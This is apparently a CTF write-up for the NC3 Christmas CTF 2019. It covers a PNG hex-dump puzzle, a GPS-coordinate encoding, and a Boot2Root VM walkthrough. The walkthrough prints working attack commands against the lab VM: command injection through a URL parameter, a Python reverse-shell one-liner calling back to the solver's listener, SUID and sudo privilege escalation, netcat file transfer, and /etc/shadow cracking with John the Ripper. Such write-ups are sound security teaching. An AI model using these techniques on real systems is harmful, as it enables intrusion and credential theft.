  • Now it was just a matter of guessing what was in the five rows I removed. DEFLATE makes heavy use of backreferences, so if the "history" leading up to a given instruction isn't correct, chances are the instruction will output the wrong bytes from the wrong place, which later gets used by a different instruction, et cetera, compounding the errors. I was lucky the image itself is relatively predictable (monochrome, seemingly MS Paint drawn circles), so it was a reasonable task to infer which pixels were supposed to be which color. There was some mild anti-aliasing or artifacting going on, which I chose to ignore - luckily it wasn't that big a deal. Eventually I landed on a fully recovered image:
The fully recovered version of H3X0S88888888rus.png.

The fully recovered version of H3X0S88888888rus.png.

They included an uncorrupted version of the image as part of the distractions in Nisse IT support (released several weeks after this challenge), which confirms my hypothesis that the image artifacts stem from the image originally being converted from JPEG.

Unfortunately, as much as I wanted it to be, the flag was no variation of "Er du en Hexosaurus". It turns out the intended solution was much, much simpler. Remember how I said the corruption started around line 50? That corresponds to the byte position 0x6F7, where the ASCII string START suspiciously occurs in the hex dump.

H3X0S88888888rus.png viewed in a hex editor.

H3X0S88888888rus.png viewed in a hex editor.

After this, hexadecimal bytes are written in ASCII with 8 bytes' spacing, visible in the above screenshot as two columns going down:

H3X0S88888888rus.png viewed in a hex editor (relevant digits highlighted).

H3X0S88888888rus.png viewed in a hex editor (relevant digits highlighted).

Assembling these together in order gets us the flag.

Flag: NC3{0tte_mester} (eight-master)

And of course, I spoiled this immediately after the CTF was over, mainly just to troll people.


This challenge was originally solved by team member Polly, so I've reconstructed the solution based on her description after the fact. We're given Juleskibets_logbog.txt, containing what seems to be a series of GPS-coordinates:

1° 0' 3.996'' N 0° 6' 0'' E
0° 6' 36.0396'' N 0° 6' 0'' E
1° 6' 3.9636'' N 0° 6' 0'' E
1° 6' 3.96'' N 0° 6' 0'' E
1° 6' 0.3636'' N 0° 6' 0'' E
1° 6' 0.3996'' N 0° 6' 0'' E
1° 6' 0.36'' N 0° 6' 0'' E
1° 6' 36.36'' N 0° 6' 0'' E
1° 6' 3.96'' N 0° 6' 0'' E
1° 6' 0.3996'' N 0° 6' 0'' E
1° 6' 0.0036'' N 0° 6' 0'' E
1° 6' 0.3636'' N 0° 6' 0'' E
1° 6' 39.9636'' N 0° 0' 3.636'' E
0° 6' 0'' N 1° 0' 0.0396'' E
0° 6' 0'' N 1° 6' 39.6396'' E
0° 6' 0'' N 1° 6' 0.3636'' E
0° 6' 0'' N 1° 6' 3.96'' E
0° 6' 0'' N 1° 6' 3.9636'' E
0° 6' 0'' N 1° 6' 3.9996'' E
0° 6' 0'' N 1° 0' 39.9996'' E
0° 6' 0'' N 1° 6' 3.6036'' E
0° 6' 0'' N 1° 0' 39.9996'' E
0° 6' 0'' N 1° 6' 36.036'' E
0° 6' 0'' N 1° 6' 0.36'' E
0° 6' 0'' N 1° 6' 36.036'' E

We can see that they follow a fairly regular pattern, with lots of 1, 3 and 6 digits. They also consist of two "rows", with the first 12 lines having change in the left (N) column, and the last 12 lines having change in the right (E) column. If we take the N value of the first row, 1° 0' 3.996'' N, and convert this from arcminutes/arcseconds to a single decimal number, we get 1 + 0/60 + 3.996/3600 = 1.00111. If we remove the decimal point and add a 0 to both sides, we get 01001110, which corresponds to the letter N in ASCII. Could this be the start of a flag? I wrote a Python script to do this for every row, padding or truncating the output to 7 binary digits, and finally printing the ASCII values of the digits in alternating rows, merging the "N" values with the "E" values:

import re

ns = []
es = []
for i, line in enumerate(open("Juleskibets_logbog.txt").readlines()):
    n1, n2, n3, e1, e2, e3 = re.findall(r"\b([\d\.]+)\b", line)
    n = str(int(n1) + float(n2) / 60 + float(n3) / 3600)[:8]
    e = str(int(e1) + float(e2) / 60 + float(e3) / 3600)[:8]
    if i <= 12:
        ns.append(n.replace(".", "").ljust(7, '0'))
        es.append(e.replace(".", "").ljust(7, '0'))

for n, e in zip(ns, es):
    print(chr(int(n, 2)) + chr(int(e, 2)), end="")
$ python3

We're missing the final right brace, but the flag's correct either way.

Flag: NC3{mellemgod_til_grader}


The Boot2Root challenges involve being given a virtual machine image, and then extracting flags in various ways from that, usually culminating in popping a root shell to get the final flags. Last year's implementation was... not good, to say the least, as most teams just ended up mounting the disk and extracting every flag at once right away. This year they've been slightly more clever, encrypting the disk with a LUKS password they didn't give us, and distributing a VM snapshot after boot, and after the password has been entered - so the machine runs, but you don't have disk access and can't reboot it. or otherwise mess with the settings. This didn't stop "holdet" from extracting the decryption key from memory and extracting all the flags anyway, but I attempted the "proper" solution instead, and still managed to get all the flags on day one. Ultimately, physical access (which includes a VM image) will always be vulnerable in one way or another, and there's really no way to prevent exploits like that without running the entire thing on a public VPS somewhere, but I think they at least managed to make it difficult enough for most people to solve it in the intended manner.

I haven't included the image in my challenge .zip file, since it's simply too large, but at the time of writing NC3's original download links (gofile and Mega are still up. I have a copy saved locally, let me know if their links get taken down so I can reupload it somewhere else. The archive password is nunærmerjulensig.

Right off the bat I ran into a few issues booting the image. They had prepared the snapshot on "the oldest PC they could find", to prevent newer CPU extensions from breaking virtualization for people with older hardware, but it still only worked on Intel processors... and my desktop runs AMD. They also distributed the image in a format VirtualBox couldn't read, so I had to set up a VMWare Workstation trial on my laptop and do everything from there. The AUR package for VMWare Workstation also didn't initialize the networking config properly, so I had to do that myself.

After a lot of wrangling with the network setup, I finally managed to get a connection:

$ ping
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=1.09 ms
64 bytes from icmp_seq=2 ttl=64 time=0.379 ms

b2r - flag1

Booting the virtual machine itself just lands us at a login prompt - and since we don't have any usernames or passwords, there's not much to do here.

The sole, barren, desolate login prompt.

The sole, barren, desolate login prompt.

So, first order of business is to throw nmap at it to get an idea of which network-exposed services it's running:

$ nmap
Starting Nmap 7.80 ( ) at 2019-12-26 15:40 CET
Nmap scan report for
Host is up (0.00062s latency).
Not shown: 996 closed ports
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

So, we have an ssh daemon, a HTTP server, as well as some Samba file shares. I spent a lot of time trying to run exploits on the Samba shares, but it proved to be irrelevant - so I'm going to focus on the HTTP server going forward. Visiting the IP address in a browser just gets us the standard "It works!" Apache2 splash page:

The default index page served by the HTTP server.

The default index page served by the HTTP server.

However, there might be more files on the server. Let's throw a dirb at it:

$ dirb

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Dec 26 15:44:06 2019
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:200|SIZE:11321)                                                                                               
+ (CODE:200|SIZE:294)                                                                                                  
+ (CODE:403|SIZE:300)                                                                                              
+ (CODE:200|SIZE:9)                                                                                                          
END_TIME: Thu Dec 26 15:44:09 2019

Our /index.php endpoint gets us the first flag right away, as well as a hint for the future:

$ curl
<!DOCTYPE html><html><body>Velkommen til nisseserveren 2019. Du fortjener allerede nu et flag for at have sat denne VM korrekt op til denne udfordring. Derfor:<br><br>NC3{jeg_er_endelig_inde}<!-- ingen hints her! Ok, måske lige at der er spændende ting på /hemmeligindgang --!></body></html>

Flag: NC3{jeg_er_endelig_inde} (I'm finally in!)

b2r - flag2

Hitting /server-status just gets us a 403, but /tmp gets us this cryptic message:

$ curl

It seems to imply using a GET parameter of nøgle on the URL, but doing it on /tmp doesn't seem to result in anything. Let's try the aforementioned /hemmeligindgang:

$ curl
<html><body>Indgangen er bevogtet af magi. Simpelthen. Ingen kodeord, overhovedet, bare magi. Det er da snedigt.<br><br></body></html>

"The entrance is protected by magic. No password, just magic. That's sneaky." What if we try the GET parameter there? Playing around with it seems to reveal it being a shell command executor:

$ curl\?nøgle\=ls
<html><body>Indgangen er bevogtet af magi. Simpelthen. Ingen kodeord, overhovedet, bare magi. Det er da snedigt.<br><br>index.php
$ curl\?nøgle\=whoami
<html><body>Indgangen er bevogtet af magi. Simpelthen. Ingen kodeord, overhovedet, bare magi. Det er da snedigt.<br><br>www-data

Now that we have remote command execution, let's try popping a reverse shell:

$ nc -lp 1234
# visit the following URL in a browser:øgle=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
/bin/sh: 0: cant access tty; job control turned off
$ whoami  # in the prompt still running netcat

Let's try looking around, see if we can find something interesting.

$ pwd
$ cd ..
$ ls
$ cd superhemmeligindgang
$ ls
$ cat flag2.txt

Flag: NC3{www-data__kan_det_hele} (www-data can do everything)

b2r - flag3

This is all well and good, but we're still stuck using a fairly fragile reverse shell and the www-data user, which (unfortunately for us!) is properly set up to not have access to anything it shouldn't. I ended up running a full directory listing of the entire system, looking for files and folders of potential interest:

$ curl  # from my normal computer, not the reverse shell
<html><body>Indgangen er bevogtet af magi. Simpelthen. Ingen kodeord, overhovedet, bare magi. Det er da snedigt.<br><br>/

So, we have the users lillenisse and storenisse, each with their home directories (which we can't access). We also have some files in /opt and /usr/games, which we also can't access. Last but not least, there are some binaries in /usr/local/bin - let's take a closer look at those.

$ ls -lash /usr/local/bin  # back in the reverse shell
total 8.6M
4.0K drwxr-xr-x  2 root       root       4.0K Nov 20 13:19 .
4.0K drwxr-xr-x 10 root       root       4.0K Nov 19 11:11 ..
3.5M -rwsr-xr-x  1 lillenisse lillenisse 3.5M Nov 20 13:19 min-python
2.6M -rwsr-xr-x  1 lillenisse lillenisse 2.6M Nov 20 13:11 min-vi
2.6M -rwsr-xr-x  1 lillenisse lillenisse 2.6M Nov 20 13:15 min-vim

These files are owned by lillenisse, and have the SUID bit set (the s in the file permissions -rwsr-xr-x). This means that running them will run as lillenisse, meaning we can use them to perform a privilege escalation! python is probably the easiest of those to exploit. GTFOBins lists a short code snippet that should get the job done:

$ /usr/local/bin/min-python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
$ whoami  # dollar shell prefix added to clean the output up, doesn't actually get shown in practice 
$ ls /home/lillenisse
$ ls /home/lillenisse/.ecryptfs
$ cat /home/lillenisse/.ecryptfs/husker
Sikkerhed frem for alt!!


We can now run commands as lillenisse, but their home directory is encrypted, so we can't get much useful out of it. We did discover a husker file containing a "password hint", consisting of the text "Security above everything", as well as four MD5 hashes. Just like in crypto_dumper, we can enter these into HashKiller and crack them pretty quickly (an alternate solution would be Googling them one by one - basic hashes like these are often indexed in search results):

The four hashes entered into HashKiller.

The four hashes entered into HashKiller.

As we can see, the hashes correspond to the words glade jul dejlige jul, the Danish equivalent of the Christmas carol Silent Night. We can now break free of our reverse shell and just ssh into the server using that as lillenisses password:

$ ssh lillenisse@
lillenisse@'s password: gladejuldejligejul
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:
 * Management:
 * Support:

0 pakker kan opdateres.
0 opdateringer er sikkerhedsopdateringer.

lillenisse@nc3ctf2019julelockdown:~$ ls
lillenisse@nc3ctf2019julelockdown:~$ cat flag3.txt 

Flag: NC3{suid_suid_suid}

b2r - flag4

We now have a proper shell and access to lillenisse - let's take another look around, see if we can find anything more interesting this time around. Digging around reveals us that we now have access to the contents of /opt/min_mappe:

$ ls -lash /opt
total 16K
4,0K drwxr-xr-x  3 root       root       4,0K nov 21 15:50 .
4,0K drwxr-xr-x 22 root       root       4,0K nov 19 11:17 ..
4,0K ----------  1 storenisse storenisse  112 maj 16  2017 backup.txt
4,0K drwxrwx---  2 storenisse nisserne   4,0K dec 26 16:25 min_mappe
$ ls -lash /opt/min_mappe/
total 24K
4,0K drwxrwx--- 2 storenisse nisserne 4,0K dec 26 16:25 .
4,0K drwxr-xr-x 3 root       root     4,0K nov 21 15:50 ..
 16K ---xr----- 1 storenisse nisserne  14K nov 21 15:20 jegkenderdethersystem.elf32

We have an ELF binary owned by storenisse, but also by the group nisserne (which lillenisse is in!). It's not writable or executable by us, but we do have read permission. Looking at the current process list also reveals that this binary is being run and served on TCP port 9999:

$ ps aux
storeni+  1259  0.0  0.1   2368   652 ?        Ss   15:36   0:00 /bin/sh -c ( sleep 20 ; tcpserver -P -R -H -l 0 9999 /opt/min_mappe/jegkenderdethersystem.elf32 )
storeni+  1303  0.0  0.1   2100   584 ?        S    15:36   0:00 tcpserver -P -R -H -l 0 9999 /opt/min_mappe/jegkenderdethersystem.elf32
$ nc 9999
* Logger ind i hemmelighedernes kammer ...
Hello world
Hello worldLOCKDOWN!!!!

This binary seems to be "the chamber of secrets", and requires the password to be entered to prevent a "LOCKDOWN". Let's try getting the file out of the VM so we can properly inspect and reverse-engineer it:

$ nc -lp 2345 > jegkenderdethersystem.elf32  # on my main system
$ nc -w 3 2345 < /opt/min_mappe/jegkenderdethersystem.elf32  # through ssh, as lillenisse
$ r2 jegkenderdethersystem.elf32  # back on my main system
[0x000010e0]> aaa
[0x000010e0]> s fcn.00001219
[0x00001219]> pdg
// WARNING: Variable defined which should be unmapped: var_4h
// WARNING: [r2ghidra] Failed to match type size_t for variable var_ch to Decompiler type: Unknown type identifier
// size_t

undefined4 fcn.00001219(char *s)
    int32_t iVar1;
    undefined4 uVar2;
    undefined4 var_ch;
    int32_t var_4h;
    iVar1 = sym.imp.strlen(s);
    if (iVar1 == 8) {
        if (*(int16_t *)s == 0x636e) {
            if (*(int16_t *)(s + 2) == 0x6333) {
                if (*(int16_t *)(s + 4) == 0x6674) {
                    if (*(int16_t *)(s + 6) == 0x3931) {
                        uVar2 = 1;
                    } else {
                        uVar2 = 0;
                } else {
                    uVar2 = 0;
            } else {
                uVar2 = 0;
        } else {
            uVar2 = 0;
    } else {
        uVar2 = 0;
    return uVar2;

We don't have symbols, so I couldn't just s main here, but reversing it for a little bit revealed the "important" function at fcn.00001219. I couldn't quite work out where or how that's called, or where char* s came from, but I'm going to assume that's the input text given, and it's the function that checks whether the password is valid. It checks if the input string is 8 bytes long, and then compares the string in 2-byte chunks with the values 0x636e 0x6333 0x6674 0x3931. We're working with a little-endian system, so we have to flip the bytes in each pair to get a string out of it, giving us 6e 63 33 63 74 66 31 39, or nc3ctf19. Let's try entering that as a password to the "chamber of secrets" and see what happens...

$ nc 9999  # again from lillenisse
* Logger ind i hemmelighedernes kammer ...
nc3ctf19* Velkommen storenisse...
$ whoami # dollar sign again added after the fact

So, we have a shell as storenisse now. Let's try reading /opt/backup.txt. We'll have to give ourselves read permission first - which we can, since storenisse owns the file, and we're storenisse:

$ chmod 777 /opt/backup.txt  # again as storenisse through the shell we got
$ cat /opt/backup.txt

Min hemmelige kombination af disse ord:

Mere siger jeg ikke ...

So, we have another password hint. The password is a "secret" combination of the given words... which if you know Danish, can only really combine in a single way: hvorerminjulegrødhenne?. Let's log in with that:

$ ssh storenisse@  # back to main system
storenisse@'s password: hvorerminjulegrødhenne?
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic i686)

 * Documentation:
 * Management:
 * Support:

0 pakker kan opdateres.
0 opdateringer er sikkerhedsopdateringer.

storenisse@nc3ctf2019julelockdown:~$ ls
flag4.txt  julekatalog2019.indpakket.elf
storenisse@nc3ctf2019julelockdown:~$ cat flag4.txt 

So, there we have our flag 4!

Flag: NC3{jeg_er_virkelig_i_julestemning_nu} (I'm really in a festive mood now.)

b2r - flag5

Let's look a bit further at the other file in storenisses home directory:

$ ls -l
total 288
-rw------- 1 storenisse storenisse     39 nov 20 13:36 flag4.txt
-rwxr-xr-x 1 storenisse storenisse 272744 nov 25 11:43 julekatalog2019.indpakket.elf
$ ./julekatalog2019.indpakket.elf 
::JuleKATALOG 3000.19 (C) 2019 Vaerkstedet - LOCKDOWN Edition
: - - - - - - - - - - - - - - - - - - - - - :
: - - - - - - - - - - - - - - - - - - - - - :
1: se filer i /root/
2: se fil med ønskeliste
3: ud
: - - - - - - - - - - - - - - - - - - - - - :
Skriv nummeret på dit valg: 1
/bin/ls: cannot open directory '/root/': Permission denied

So it's a binary that lets you view files in /root/, but it doesn't itself have permission so. However, some sleuthing around reveals that we do actually have (passwordless!) sudo access to this specific file, which means...

$ sudo -l
Matching Defaults entries for storenisse on nc3ctf2019julelockdown.localdomain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User storenisse may run the following commands on nc3ctf2019julelockdown.localdomain:
    (root) NOPASSWD: /home/storenisse/julekatalog2019.indpakket.elf
$ sudo ./julekatalog2019.indpakket.elf 
::JuleKATALOG 3000.19 (C) 2019 Vaerkstedet - LOCKDOWN Edition
: - - - - - - - - - - - - - - - - - - - - - :
: - - - - - - - - - - - - - - - - - - - - - :
1: se filer i /root/
2: se fil med ønskeliste
3: ud
: - - - - - - - - - - - - - - - - - - - - - :
Skriv nummeret på dit valg: 1
total 4
-r-------- 1 root root 51 aug 17  2015 flag5.txt

We still can't read flag5.txt, though. I'm sure the intended solution is to somehow exploit this binary to get it to read the flag or pop a shell, but I had a better idea...

$ mv julekatalog2019.indpakket.elf julekatalog2019.old
$ cp /bin/bash julekatalog2019.indpakket.elf
$ sudo ./julekatalog2019.indpakket.elf 
$ whoami
$ cat /root/flag5.txt

Aaand there we go. Root shell popped, flag read, we done here.

Flag: NC3{r00t_r00t_dansemus_med_rigtig_seje_dansemoves}

b2r - flag6 - bonusrunden!

We still have one flag left, though. Remember the files we found in /usr/games? Let's see if we can access those now:

$ ls /usr/games
$ ls /usr/games/b0nus/
$ cat /usr/games/b0nus/flag6.txt 
"VI VIL HA' MERE!" ... Okay, så er der bonus flag:

Her er en AES-krypteret HEX streng:


CBC er fin. Key og IV er det samme som til root. Her er en lille kodeordsliste:


.... God jul fra NC3

Very straight and to the point. We're given an AES-CBC-encrypted hexadecimal string, and told the key and IV is the same as the root password. We're also given a short wordlist. We still don't have the root password, though, but we do have access to /etc/passwd and /etc/shadow:

$ cat /etc/passwd
storenisse:x:1001:1001:Mr Storenisse,,,:/home/storenisse:/bin/bash
$ cat /etc/shadow

We also know that if we're using AES encryption and passing the key and IV by themselves, both values have to be the same length as the block size. For AES-128, this is 128 bits (or 16 bytes/characters), and for AES-256, this is 256 bits (or 32 bytes/characters). We get another hint in /root/.bash_history, telling us Bonusinfo: 8 permutations må være fint nok - or "8 permutations is enough".

So, now that we have the hashed password, a word list, and an idea of how to put them together, I wrote a Python script to generate all permutations of 8 words in the list that are either 16 or 32 characters long (realistically only 32 characters, since 8 of those words joined together is necessarily longer than 16 characters):

import itertools
words = ["jul", "nisse", "dejligt", "2019", "hos", "længe", "en", "varer", "NC3"]
for w in itertools.permutations(words, 8):
    w = "".join(w)
    if len(w) == 16 or len(w) == 32:

Now we can generate a wordlist for our old friend John the Ripper and see if we get anything:

$ cat passwd.txt
$ cat shadow.txt
$ unshadow passwd.txt shadow.txt > hashes.txt
$ python3 > words.txt
$ john --wordlist=~/share/Storage/Projects/Infosec/nc3_2019/tmp/words.txt hashes.txt
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
julenhosNC3varerdejligtlænge2019 (root)
1g 0:00:00:11 DONE (2019-12-26 17:05) 0.08795g/s 945.6p/s 945.6c/s 945.6C/s julenhos2019NC3nisselængedejligt..julenlængedejligtNC3varerhos2019
Use the "--show" option to display all of the cracked passwords reliably
Session completed

And there we have the root password, julenhosNC3varerdejligtlænge2019. Now we can plop that into our AES decryption, which gets us the (Base64-encoded) flag.

Flag: NC3{b0nusinfo__forbrydelse_betaler_sig_ikke} (bonusinfo: crime never pays)


There we go, that's all the solutions to this year's NC3 Christmas-CTF. If anyone manages to solve the two unsolved challenges You Shall Not Pass or Den Røde Tråd, do let me know. Alternatively, if I've made any mistakes, typos, or anything, do also let me know. I had great fun this year and will certainly participate again next year... although it's a bit shameful pretty much every team was beaten by a high school girl in the middle of exam project season. Psh.